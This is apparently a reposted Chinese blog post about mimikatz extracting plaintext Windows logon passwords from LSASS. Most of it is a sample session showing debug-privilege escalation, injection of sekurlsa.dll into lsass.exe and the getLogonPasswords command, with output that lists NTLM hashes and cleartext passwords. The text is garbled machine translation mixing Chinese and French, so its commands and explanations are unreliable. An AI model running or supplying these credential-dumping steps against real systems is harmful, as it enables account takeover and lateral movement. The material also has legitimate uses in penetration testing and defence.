最新消息:XAMPP默认安装之后是很不安全的,我们只需要点击左方菜单的 "安全"选项,按照向导操作即可完成安全设置。

mimikatz_从Lsass恢复明文密码的工具

XAMPP案例 admin 39浏览 0评论

我不久前打算在博客上写这篇文章,但从未接触过它。

这是一篇关于mimikatz工具非常酷的功能的简短帖子。

我非常感谢该工具的作者引起了我的注意。在那之前,我没有意识到有可能恢复登录的Windows用户的明文密码。我确信大多数测试者会发现非常有用的东西。

以下是作者提供的一些示例输出:

mimikatz 1.0 x86(pre-alpha)/ * Traitement du Kiwi * /

mimikatz#privilege :: debug
Demande d’ACTIVATIONduprivilège:SeDebugPrivilege:好的

mimikatz #injection ::进程lsass.exe sekurlsa.dll
PROCESSENTRY32(lsass.exe).th32ProcessID = 488
Attente de connexion du client …
Serveurconnectéàunclient!
Message du processus:
Bienvenue dans un processus遥远
Gentil Kiwi

SekurLSA:librairie de manipulationdesdonnéesdesécuritésdansLSASS

mimikatz#@ getLogonPasswords

认证身份Id:0; 434898
包裹认证:NTLM
Utilisateur负责人:Gentil用户
Domaine d’authentification:vm-w7-ult
msv1_0:lm {e52cac67419a9a224a3b108f3fa6cb6d},ntlm {8846f7eaee8fb117ad06bdd830b7586c}
wdigest:密码
tspkg:密码

认证身份Id:0; 269806
包裹认证:NTLM
Utilisateur负责人:Gentil Kiwi
Domaine d’authentification:vm-w7-ult
msv1_0:lm {d0e9aee149655a6075e4540af1f22d3b},ntlm {cc36cf7a8514893efccd332446158b1a}
wdigest:waza1234 /
tspkg:waza1234 /
我想知道为什么明文密码需要存储在LSASS中 – 毕竟每个测试者都会告诉你不需要密码进行身份验证,只需要哈希。

一些谷歌搜索似乎表明需要wdigest(密码)来支持HTTP摘要身份验证和其他需要验证方知道密码的方案 – 而不仅仅是哈希。

转载请注明:XAMPP中文组官网 » mimikatz_从Lsass恢复明文密码的工具